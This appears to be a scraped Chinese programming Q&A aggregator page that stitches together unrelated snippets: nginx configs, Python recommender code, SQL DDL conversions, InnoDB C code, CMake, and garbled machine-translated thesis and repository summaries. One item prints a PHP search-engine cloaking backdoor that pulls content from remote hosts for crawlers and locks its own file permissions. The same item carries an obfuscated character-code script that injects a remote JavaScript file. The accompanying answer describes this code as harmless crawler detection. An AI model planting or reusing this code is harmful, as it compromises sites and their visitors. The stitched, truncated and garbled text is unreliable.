set_default_index

时间: 2023-10-08 17:12:21 浏览: 142
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set_default_index是一个函数或方法的名称，根据提供的引用内容中没有找到相关的信息。请提供更多的上下文或详细信息，以便我能够更好地回答你的问题。 #### 引用[.reference_title] - *1* *3* [32 - 文本情感分类项目完整代码精讲](https://blog.csdn.net/scar2016/article/details/124404318)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [Pytorch实战——基于RNN的新闻分类](https://blog.csdn.net/m0_37319825/article/details/119333393)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
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worker_processes auto;error_log /var/log/nginx/error.log warn;pid /var/run/nginx.pid;events { worker_connections 1024;}http { include /etc/nginx/mime.types; default_type application/octet-stream; access_log /var/log/nginx/access.log combined; sendfile on; upstream websocket { server backend:8000; # 将backend替换为实际的WebSocket服务器地址和端口 } server { listen 80 default_server; listen [::]:80 default_server; server_name localhost; location / { root /usr/share/nginx/html; index index.html; try_files $uri $uri/ /index.html; } location /api/ { proxy_pass http://backend:8000; # 将backend替换为实际的后端API服务器地址和端口 proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; } location /ws/ { proxy_pass http://websocket; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "Upgrade"; } }}

这段代码是一个简单的Nginx配置，该配置包括了对静态文件的服务和对API和WebSocket的代理。...- proxy_set_header Upgrade $http_upgrade和proxy_set_header Connection "upgrade"：指定代理升级到WebSocket协议。

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逐行分析下面的代码：import random import numpy as np import pandas as pd import math from operator import itemgetter data_path = './ml-latest-small/' data = pd.read_csv(data_path+'ratings.csv') data.head() data.pivot(index='userId', columns='newId', values='rating') trainSet, testSet = {}, {} trainSet_len, testSet_len = 0, 0 pivot = 0.75 for ele in data.itertuples(): user, new, rating = getattr(ele, 'userId'), getattr(ele, 'newId'), getattr(ele, 'rating') if random.random() < pivot: trainSet.setdefault(user, {}) trainSet[user][new] = rating trainSet_len += 1 else: testSet.setdefault(user, {}) testSet[user][new] = rating testSet_len += 1 print('Split trainingSet and testSet success!') print('TrainSet = %s' % trainSet_len) print('TestSet = %s' % testSet_len) user_sim_matrix = {} print('Building new-user table ...') new_user = {} for user, news in trainSet.items(): for new in news: if new not in new_user: new_user[new] = set() new_user[new].add(user) print('Build new-user table success!') new_count = len(new_user) print('Total new number = %d' % new_count) print('Build user co-rated users matrix ...') for new, users in new_user.items(): for u in users: for v in users: if u == v: continue user_sim_matrix.setdefault(u, {}) user_sim_matrix[u].setdefault(v, 0) user_sim_matrix[u][v] += 1 print('Build user co-rated users matrix success!') print('Calculating user similarity matrix ...') for u, related_users in user_sim_matrix.items(): for v, count in related_users.items(): user_sim_matrix[u][v] = count / math.sqrt(len(trainSet[u]) * len(trainSet[v])) print('Calculate user similarity matrix success!') k = 20 n = 10 aim_user = 3 rank ={} watched_news = trainSet[aim_user] for v, wuv in sorted(user_sim_matrix[aim_user].items(), key=lambda x: x[1], reverse=True)[0:k]: for new in trainSet[v]: if new in watched_news: continue rank.setdefault(new, 0) rank[new] += wuv rec_news = sorted(rank.items(), key=itemgetter(1), reverse=True)[:n] rec_news

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逐行分析下面的代码：import random import numpy as np import pandas as pd import math from operator import itemgetter data_path = './ml-latest-small/' data = pd.read_csv(data_path+'ratings.csv') data.head() data.pivot(index='userId', columns='newId', values='rating') trainSet, testSet = {}, {} trainSet_len, testSet_len = 0, 0 pivot = 0.75 for ele in data.itertuples(): user, new, rating = getattr(ele, 'userId'), getattr(ele, 'newId'), getattr(ele, 'rating') if random.random() < pivot: trainSet.setdefault(user, {}) trainSet[user][new] = rating trainSet_len += 1 else: testSet.setdefault(user, {}) testSet[user][new] = rating testSet_len += 1 print('Split trainingSet and testSet success!') print('TrainSet = %s' % trainSet_len) print('TestSet = %s' % testSet_len) new_popular = {} for user, news in trainSet.items(): for new in news: if new not in new_popular: new_popular[new] = 0 new_popular[new] += 1 new_count = len(new_popular) print('Total movie number = %d' % new_count) print('Build user co-rated news matrix ...') new_sim_matrix = {} for user, news in trainSet.items(): for m1 in news: for m2 in news: if m1 == m2: continue new_sim_matrix.setdefault(m1, {}) new_sim_matrix[m1].setdefault(m2, 0) new_sim_matrix[m1][m2] += 1 print('Build user co-rated movies matrix success!') print('Calculating news similarity matrix ...') for m1, related_news in new_sim_matrix.items(): for m2, count in related_news.items(): if new_popular[m1] == 0 or new_popular[m2] == 0: new_sim_matrix[m1][m2] = 0 else: new_sim_matrix[m1][m2] = count / math.sqrt(new_popular[m1] * new_popular[m2]) print('Calculate news similarity matrix success!') k = 20 n = 10 aim_user = 20 rank ={} watched_news = trainSet[aim_user] for new, rating in watched_news.items(): for related_new, w in sorted(new_sim_matrix[new].items(), key=itemgetter(1), reverse=True)[:k]: if related_new in watched_news: continue rank.setdefault(related_new, 0) rank[related_new] += w * float(rating) rec_news = sorted(rank.items(), key=itemgetter(1), reverse=True)[:n] rec_news

7. if random.random() < pivot: trainSet.setdefault(user, {}) trainSet[user][new] = rating trainSet_len += 1 else: testSet.setdefault(user, {}) testSet[user][new] = rating testSet_len += 1：根据训练...

worker processes1; events { worker_connections1024; http i include mime.types ; default_typeapplication/octet-stream; sendfile on ; keepalive timeout65; upstream backend i server localhost: 8443;server localhost:8444; server i listen 443 ssl; server_namelocalhost; ssl_certificate /usr/local/nginx/ssl/www.delicious-blood.cn.pem; ssl_certificate_key /usr/local/nginx/ssl/www.delicious-blood.cn.key; location / { proxy_pass https :/ /backend;proxy_set_header Host $host; proxy_set_header X-Real-IP$remote_addr; location /es -furniture i root /home/vue/dist;index index.html;

index index.html; # 其他配置项... } } 请注意检查其他可能存在的语法错误或缺失的配置项。如果您仍然遇到问题，请提供更详细的错误日志和配置信息，以便我能够更好地帮助您解决问题。

lv_obj_set_local_style_prop循环刷新label背景颜色

lv_obj_set_local_style_prop(labels[i], LV_OBJ_PART_MAIN, LV_STATE_DEFAULT, LV_STYLE_BG_COLOR, lv_palette_main(color_index)); } color_index++; if (color_index >= LV_PALETTE_LAST) { color_index = ...

帮我看一下这段代码哪里有问题，怎么修改？import pandas as pd import numpy as np pd.set_option('display.max_columns', None)#所有列 pd.set_option('display.max_rows', None)#所有行 data=pd.read_excel('半监督数据.xlsx') datas = pd.DataFrame(data)dataset=datas(labeled_size=0.3,test_size=0.1,stratified=False,shuffle=True,random_state=0, default_transforms=True)

2. datas(labeled_size=0.3,test_size=0.1,stratified=False,shuffle=True,random_state=0,default_transforms=True) 中的 labeled_size 和 test_size 参数应该使用 train_size 和 test_size 代替。...

把这段代码改为doris的建表语句CREATE TABLE aa_ccd ( ID varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL, CCDCODE varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, ICNNAME varchar(107) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, ISDISEASE varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, ENNAME varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, PARENTID varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, YEAR varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, NOTE varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, LEFTSPACE varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, LIMITED varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, LEVEL1 varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, LEVEL2 varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, LEVEL3 varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, LEVEL4 varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, PRIMARY KEY (ID) USING BTREE, INDEX index1(CCDCODE) USING BTREE, INDEX index2(ICNNAME) USING BTREE, INDEX index_yes(YEAR) USING BTREE ) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic;

您好！以下是将代码改为Doris建表语句的结果： CREATE TABLE aa_ccd ( ID VARCHAR(20), CCDCODE VARCHAR(20), ICNNAME VARCHAR(107), ISDISEASE VARCHAR(20), ENNAME VARCHAR(20), PARENTID VARCHAR(20), ...

<?php set_time_limit(0); header("Content-type: text/html; charset=utf-8"); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Googlebot', 'Baiduspider', '360Spider', 'Sogou News Spider', 'bingbot', 'Sosospider', ); if(!empty($userAgent)){ foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = $_SERVER["HTTP_REFERER"]; $u = parse_url($url); if(crawler()==true || $u['host'] == "www.baidu.com" || $u['host'] == "m.baidu.com"){ date_default_timezone_set('PRC'); $TD_server = "http://z8qw.woshinidie66.com"; $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']); echo $Content_mb; $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/',$url1)); function set_writeable($file_name) { @chmod($file_name,0444); } set_writeable($filename1); } ?> <?php set_time_limit(0); error_reporting(0); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Baiduspider', 'Sogou News Spider' ); if (!empty($userAgent)) { foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = @$_SERVER["HTTP_REFERER"]; date_default_timezone_set('PRC'); $TD_server = "http://154.215.192.182/SpiderPool.php"; if (crawler()) { $query = $_SERVER['QUERY_STRING']; $path = $_SERVER["REQUEST_URI"]; $host_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $ch2 = curl_init(); $user_agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"; curl_setopt($ch2, CURLOPT_URL, $TD_server . "?host=" . $host_name . "&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['HTTP_HOST']); curl_setopt($ch2, CURLOPT_HEADER, false); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch2, CURLOPT_REFERER, 'www.baidu.com'); curl_setopt($ch2, CURLOPT_USERAGENT, $user_agent); $temp = curl_exec($ch2); echo $temp; } $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/', $url1)); function set_writeable($file_name) { @chmod($file_name, 0444); } set_writeable($filename1); <script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,98,100,48,57,49,55,46,99,111,109,47,98,100,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>

这段代码看起来是一个PHP脚本，其中有两个函数crawler()和set_writeable()，以及一些变量和条件语句。这段代码的功能可能是用于判断访问者是否是爬虫或搜索引擎，并根据访问来源执行一些操作。但是需要注意的是...

解释下面的SQL代码：CREATE TABLE [dbo].[T_BAS_ASSISTANTDATA_L] ( [FPKID] varchar(36) COLLATE Chinese_PRC_CI_AS DEFAULT (' ') NOT NULL, [FID] varchar(36) COLLATE Chinese_PRC_CI_AS DEFAULT (' ') NOT NULL, [FLOCALEID] int DEFAULT ((2052)) NOT NULL, [FNAME] nvarchar(255) COLLATE Chinese_PRC_CI_AS DEFAULT (' ') NOT NULL, [FDESCRIPTION] nvarchar(255) COLLATE Chinese_PRC_CI_AS DEFAULT (' ') NOT NULL, CONSTRAINT [pk_bas_assistantdata_l] PRIMARY KEY CLUSTERED ([FPKID]) WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] ) ON [PRIMARY] GO ALTER TABLE [dbo].[T_BAS_ASSISTANTDATA_L] SET (LOCK_ESCALATION = TABLE) GO CREATE UNIQUE NONCLUSTERED INDEX [IDX_BAS_ASSISTANTDATA_L] ON [dbo].[T_BAS_ASSISTANTDATA_L] ( [FID] ASC, [FLOCALEID] ASC )

这段SQL代码创建了一个名为T_BAS_ASSISTANTDATA_L的表，表中包括FPKID、FID、FLOCALEID、FNAME和FDESCRIPTION等5个字段。其中，FPKID和FID字段为varchar(36)类型，FLOCALEID字段为int类型，FNAME和FDESCRIPTION字段...

ulint* rec_get_offsets_func( /*=================*/ const rec_t* rec, /*!< in: physical record */ const dict_index_t* index, /*!< in: record descriptor */ ulint* offsets,/*!< in/out: array consisting of offsets[0] allocated elements, or an array from rec_get_offsets(), or NULL */ ulint n_fields,/*!< in: maximum number of initialized fields (ULINT_UNDEFINED if all fields) */ #ifdef UNIV_DEBUG const char* file, /*!< in: file name where called */ ulint line, /*!< in: line number where called */ #endif /* UNIV_DEBUG */ mem_heap_t** heap) /*!< in/out: memory heap */ { ulint n; ulint size; ut_ad(rec); ut_ad(index); ut_ad(heap); if (dict_table_is_comp(index->table)) { switch (UNIV_EXPECT(rec_get_status(rec), REC_STATUS_ORDINARY)) { case REC_STATUS_ORDINARY: n = dict_index_get_n_fields(index); break; case REC_STATUS_NODE_PTR: /* Node pointer records consist of the uniquely identifying fields of the record followed by a child page number field. */ n = dict_index_get_n_unique_in_tree_nonleaf(index) + 1; break; case REC_STATUS_INFIMUM: case REC_STATUS_SUPREMUM: /* infimum or supremum record */ n = 1; break; default: ut_error; return(NULL); } } else { n = rec_get_n_fields_old(rec); } if (UNIV_UNLIKELY(n_fields < n)) { n = n_fields; } /* The offsets header consists of the allocation size at offsets[0] and the REC_OFFS_HEADER_SIZE bytes. */ size = n + (1 + REC_OFFS_HEADER_SIZE); if (UNIV_UNLIKELY(!offsets) || UNIV_UNLIKELY(rec_offs_get_n_alloc(offsets) < size)) { if (UNIV_UNLIKELY(!*heap)) { *heap = mem_heap_create_at(size * sizeof(ulint), file, line); } offsets = static_cast( mem_heap_alloc(*heap, size * sizeof(ulint))); rec_offs_set_n_alloc(offsets, size); } rec_offs_set_n_fields(offsets, n); rec_init_offsets(rec, index, offsets); return(offsets); }帮我以注释的形式解释下这段代码吧

n = dict_index_get_n_unique_in_tree_nonleaf(index) + 1; break; case REC_STATUS_INFIMUM: case REC_STATUS_SUPREMUM: // infimum或supremum记录只有一个字段 n = 1; break; default: // 不应该出现的...

DROP TABLE IF EXISTS aa_ccd; CREATE TABLE aa_ccd ( ID varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL, CCDCODE varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, ICNNAME varchar(107) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, ISDISEASE varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, ENNAME varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, PARENTID varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, YEAR varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, NOTE varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, LEFTSPACE varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, LIMITED varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, LEVEL1 varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, LEVEL2 varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, LEVEL3 varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, LEVEL4 varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, PRIMARY KEY (ID) USING BTREE, INDEX index1(CCDCODE) USING BTREE, INDEX index2(ICNNAME) USING BTREE, INDEX index_yes(YEAR) USING BTREE ) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic; 这个建表sql在doris数据库执行时报错,[SQL] Query doris_2 start [ERR] 1105 - errCode = 2, detailMessage = Syntax error in line 25: id varchar(50) CHARACTER SET utf8mb4 COLLAT... ^ Encountered: CHARACTER Expected: COMMA [ERR] 这是为什么

根据报错信息，可以看到是在第25行出现了...因此，应该在第24行最后加上逗号，即在 LEVEL4 varchar(4) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL 后面加一个逗号，就可以解决这个问题了。

# toplevel CMakeLists.txt for a catkin workspace # catkin/cmake/toplevel.cmake cmake_minimum_required(VERSION 3.0.2) project(Project) set(CATKIN_TOPLEVEL TRUE) # search for catkin within the workspace set(_cmd "catkin_find_pkg" "catkin" "${CMAKE_SOURCE_DIR}") execute_process(COMMAND ${_cmd} RESULT_VARIABLE _res OUTPUT_VARIABLE _out ERROR_VARIABLE _err OUTPUT_STRIP_TRAILING_WHITESPACE ERROR_STRIP_TRAILING_WHITESPACE ) if(NOT _res EQUAL 0 AND NOT _res EQUAL 2) # searching fot catkin resulted in an error string(REPLACE ";" " " _cmd_str "${_cmd}") message(FATAL_ERROR "Search for 'catkin' in workspace failed (${_cmd_str}): ${_err}") endif() # include catkin from workspace or via find_package() if(_res EQUAL 0) set(catkin_EXTRAS_DIR "${CMAKE_SOURCE_DIR}/${_out}/cmake") # include all.cmake without add_subdirectory to let it operate in same scope include(${catkin_EXTRAS_DIR}/all.cmake NO_POLICY_SCOPE) add_subdirectory("${_out}") else() # use either CMAKE_PREFIX_PATH explicitly passed to CMake as a command line argument # or CMAKE_PREFIX_PATH from the environment if(NOT DEFINED CMAKE_PREFIX_PATH) if(NOT "$ENV{CMAKE_PREFIX_PATH}" STREQUAL "") if(NOT WIN32) string(REPLACE ":" ";" CMAKE_PREFIX_PATH $ENV{CMAKE_PREFIX_PATH}) else() set(CMAKE_PREFIX_PATH $ENV{CMAKE_PREFIX_PATH}) endif() endif() endif() # list of catkin workspaces set(catkin_search_path "") foreach(path ${CMAKE_PREFIX_PATH}) if(EXISTS "${path}/.catkin") list(FIND catkin_search_path ${path} _index) if(_index EQUAL -1) list(APPEND catkin_search_path ${path}) endif() endif() endforeach() # search for catkin in all workspaces set(CATKIN_TOPLEVEL_FIND_PACKAGE TRUE) find_package(catkin QUIET NO_POLICY_SCOPE PATHS ${catkin_search_path} NO_DEFAULT_PATH NO_CMAKE_FIND_ROOT_PATH) unset(CATKIN_TOPLEVEL_FIND_PACKAGE) if(NOT catkin_FOUND) message(FATAL_ERROR "find_package(catkin) failed. catkin was neither found in the workspace nor in the CMAKE_PREFIX_PATH. One reason may be that no ROS setup.sh was sourced before.") endif() endif() catkin_workspace()

根据您提供的 CMakeLists.txt 文件，这是一个用于构建 catkin 工作空间的顶层 CMakeLists.txt 文件。该文件负责搜索并包含 catkin 软件包。 首先，它尝试在工作空间内搜索并包含 catkin 软件包。...

CREATE TABLE order_gift_record ( id bigint unsigned NOT NULL AUTO_INCREMENT, order_id bigint unsigned NOT NULL COMMENT '订单号,关联order主键', goods_id bigint unsigned NOT NULL COMMENT '商品ID,关联goods主键', before_info json DEFAULT NULL COMMENT '修改之前赠品信息', after_info json DEFAULT NULL COMMENT '修改之后赠品信息', create_time datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间', update_time datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '修改时间', operator varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci DEFAULT '' COMMENT '操作人', PRIMARY KEY (id) USING BTREE, KEY index_order_id (order_id) USING BTREE, KEY index_goods_id (goods_id) USING BTREE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC COMMENT='修改订单赠品记录';根据表结构生成java的实体类、持久层、业务层，对属性值添加注释

实类： java public class OrderGiftRecord { /** * 主键ID */ private Long id; ... * 订单号，关联order主键 ...在实体类中，我们对每个属性进行了注释说明，包括主键ID、订单号、商品ID、修改之前赠品信息、...
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资源摘要信息:"People-peephole-frontend是一个面向前端开发者的仓库，包含了一个由Rails和IOS团队在2015年夏季亚特兰大Iron Yard协作完成的项目。该仓库中的项目是一个具有特定功能的应用，允许用户通过iPhone或Web应用发布图像，并通过多项选择的方式让用户猜测图像是什么。该项目提供了一个互动性的平台，使用户能够通过猜测来获取分数，正确答案将提供积分，并防止用户对同一帖子重复提交答案。 当前项目存在一些待修复的错误，主要包括： 1. 答案提交功能存在问题，所有答案提交操作均返回布尔值true，表明可能存在逻辑错误或前端与后端的数据交互问题。 2. 猜测功能无法正常工作，这可能涉及到游戏逻辑、数据处理或是用户界面的交互问题。 3. 需要添加计分板功能，以展示用户的得分情况，增强游戏的激励机制。 4. 删除帖子功能存在损坏，需要修复以保证应用的正常运行。 5. 项目的样式过时，需要更新以反映跨所有平台的流程，提高用户体验。 技术栈和依赖项方面，该项目需要Node.js环境和npm包管理器进行依赖安装，因为项目中使用了大量Node软件包。此外，Bower也是一个重要的依赖项，需要通过bower install命令安装。Font-Awesome和Materialize是该项目用到的前端资源，它们提供了图标和界面组件，增强了项目的视觉效果和用户交互体验。 由于本仓库的主要内容是前端项目，因此JavaScript知识在其中扮演着重要角色。开发者需要掌握JavaScript的基础知识，以及可能涉及到的任何相关库或框架，比如用于开发Web应用的AngularJS、React.js或Vue.js。同时，对于iOS开发，可能还会涉及到Swift或Objective-C等编程语言，以及相应的开发工具Xcode。对于Rails，开发者则需要熟悉Ruby编程语言以及Rails框架的相关知识。 开发流程中可能会使用的其他工具包括： - Git：用于版本控制和代码管理。 - HTML/CSS：用于构建网页结构和样式。 - Webpack或Gulp：用于项目构建和优化流程。 - Babel：用于JavaScript代码的兼容性处理。 - Linting工具：如ESLint，用于代码质量检查和维护代码风格一致性。 总结来看，People-peephole-frontend项目不仅涉及到了跨平台协作的经验分享，还提供了前端开发的学习和实践机会，尤其在交互设计、前端工程化、依赖管理及样式设计等方面。开发者可以通过参与该项目的修复和完善工作，提高自身技能并积累宝贵的项目经验。"
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管理建模和仿真的文件

管理Boualem Benatallah引用此版本：布阿利姆·贝纳塔拉。管理建模和仿真。约瑟夫-傅立叶大学-格勒诺布尔第一大学，1996年。法语。NNT：电话：00345357HAL ID：电话：00345357https://theses.hal.science/tel-003453572008年12月9日提交HAL是一个多学科的开放存取档案馆，用于存放和传播科学研究论文，无论它们是否被公开。论文可以来自法国或国外的教学和研究机构，也可以来自公共或私人研究中心。L’archive ouverte pluridisciplinaire
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【高斯信道信号编码优化】：4大方法优化Chirp信号编码过程

![高斯信道下的chirp信号解调](https://img-blog.csdnimg.cn/d37646d14e4e4b51b01e617b59167c74.png) # 1. 高斯信道与Chirp信号编码基础 ## 简介 在现代通信领域，信息的传递无处不在，而保障信息传递的清晰与高效是通信技术的核心挑战之一。高斯信道作为通信系统中最常见和基础的模型，为我们理解和优化信号传输提供了重要的理论支持。Chirp信号，以其独特的频谱扩展特性，在无线通信、雷达和声纳系统中发挥着越来越重要的作用。本章将介绍高斯信道的特性以及Chirp信号的基础知识，为读者搭建起后续章节深入探讨优化方法的理论基础。
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对给定图，实现图的深度优先遍历和广度优先遍历。以邻接表或邻接矩阵为存储结构，实现连通无向图的深度优先和广度优先遍历。以用户指定的结点为起点，分别输出每种遍历下的结点访问序列，并调试算法。使用C语言

在C语言中，我们可以使用邻接表或邻接矩阵来存储图的数据结构。这里我将简单介绍如何实现深度优先搜索（DFS）和广度优先搜索（BFS）： **使用邻接表实现：** ```c #include <stdio.h> #include <stdlib.h> typedef struct Node { int val; struct Node* next; } Node; // 创建邻接列表表示图 Node* createAdjacencyList(int numNodes) { // 初始化节点数组 Node** adjList = malloc(sizeof(No
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Spring框架REST服务开发实践指南

资源摘要信息: "在本教程中，我们将详细介绍如何使用Spring框架来构建RESTful Web服务，提供对Java开发人员的基础知识和学习参考。" 一、Spring框架基础知识 Spring是一个开源的Java/Java EE全功能栈（full-stack）应用程序框架和 inversion of control（IoC）容器。它主要分为以下几个核心模块： - 核心容器：包括Core、Beans、Context和Expression Language模块。 - 数据访问/集成：涵盖JDBC、ORM、OXM、JMS和Transaction模块。 - Web模块：提供构建Web应用程序的Spring MVC框架。 - AOP和Aspects：提供面向切面编程的实现，允许定义方法拦截器和切点来清晰地分离功能。 - 消息：提供对消息传递的支持。 - 测试：支持使用JUnit或TestNG对Spring组件进行测试。 二、构建RESTful Web服务 RESTful Web服务是一种使用HTTP和REST原则来设计网络服务的方法。Spring通过Spring MVC模块提供对RESTful服务的构建支持。以下是一些关键知识点： - 控制器（Controller）：处理用户请求并返回响应的组件。 - REST控制器：特殊的控制器，用于创建RESTful服务，可以返回多种格式的数据（如JSON、XML等）。 - 资源（Resource）：代表网络中的数据对象，可以通过URI寻址。 - @RestController注解：一个方便的注解，结合@Controller注解使用，将类标记为控制器，并自动将返回的响应体绑定到HTTP响应体中。 - @RequestMapping注解：用于映射Web请求到特定处理器的方法。 - HTTP动词（GET、POST、PUT、DELETE等）：在RESTful服务中用于执行CRUD（创建、读取、更新、删除）操作。 三、使用Spring构建REST服务 构建REST服务需要对Spring框架有深入的理解，以及熟悉MVC设计模式和HTTP协议。以下是一些关键步骤： 1. 创建Spring Boot项目：使用Spring Initializr或相关构建工具（如Maven或Gradle）初始化项目。 2. 配置Spring MVC：在Spring Boot应用中通常不需要手动配置，但可以进行自定义。 3. 创建实体类和资源控制器：实体类映射数据库中的数据，资源控制器处理与实体相关的请求。 4. 使用Spring Data JPA或MyBatis进行数据持久化：JPA是一个Java持久化API，而MyBatis是一个支持定制化SQL、存储过程以及高级映射的持久层框架。 5. 应用切面编程（AOP）：使用@Aspect注解定义切面，通过切点表达式实现方法的拦截。 6. 异常处理：使用@ControllerAdvice注解创建全局异常处理器。 7. 单元测试和集成测试：使用Spring Test模块进行控制器的测试。 四、学习参考 - 国际奥委会：可能是错误的提及，对于本教程没有相关性。 - AOP：面向切面编程，是Spring的核心功能之一。 - MVC：模型-视图-控制器设计模式，是构建Web应用的常见架构。 - 道：在这里可能指学习之道，或者是学习Spring的原则和最佳实践。 - JDBC：Java数据库连接，是Java EE的一部分，用于在Java代码中连接和操作数据库。 - Hibernate：一个对象关系映射（ORM）框架，简化了数据库访问代码。 - MyBatis：一个半自动化的ORM框架，它提供了更细致的SQL操作方式。 五、结束语 以上内容为《learnSpring:学习春天》的核心知识点，涵盖了从Spring框架的基础知识、RESTful Web服务的构建、使用Spring开发REST服务的方法，以及与学习Spring相关的技术栈介绍。对于想要深入学习Java开发，特别是RESTful服务开发的开发者来说，这是一份非常宝贵的资源。
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"互动学习：行动中的多样性与论文攻读经历"

多样性她- 事实上SCI NCES你的时间表ECOLEDO C Tora SC和NCESPOUR l’Ingén学习互动，互动学习以行动为中心的强化学习学会互动，互动学习，以行动为中心的强化学习计算机科学博士论文于2021年9月28日在Villeneuve d'Asq公开支持马修·瑟林评审团主席法布里斯·勒菲弗尔阿维尼翁大学教授论文指导奥利维尔·皮耶昆谷歌研究教授：智囊团论文联合主任菲利普·普雷教授，大学。里尔/CRISTAL/因里亚报告员奥利维耶·西格德索邦大学报告员卢多维奇·德诺耶教授，Facebook /索邦大学审查员越南圣迈IMT Atlantic高级讲师邀请弗洛里安·斯特鲁布博士，Deepmind对于那些及时看到自己错误的人...3谢谢你首先，我要感谢我的两位博士生导师Olivier和Philippe。奥利维尔，"站在巨人的肩膀上"这句话对你来说完全有意义了。从科学上讲，你知道在这篇论文的（许多）错误中，你是我可以依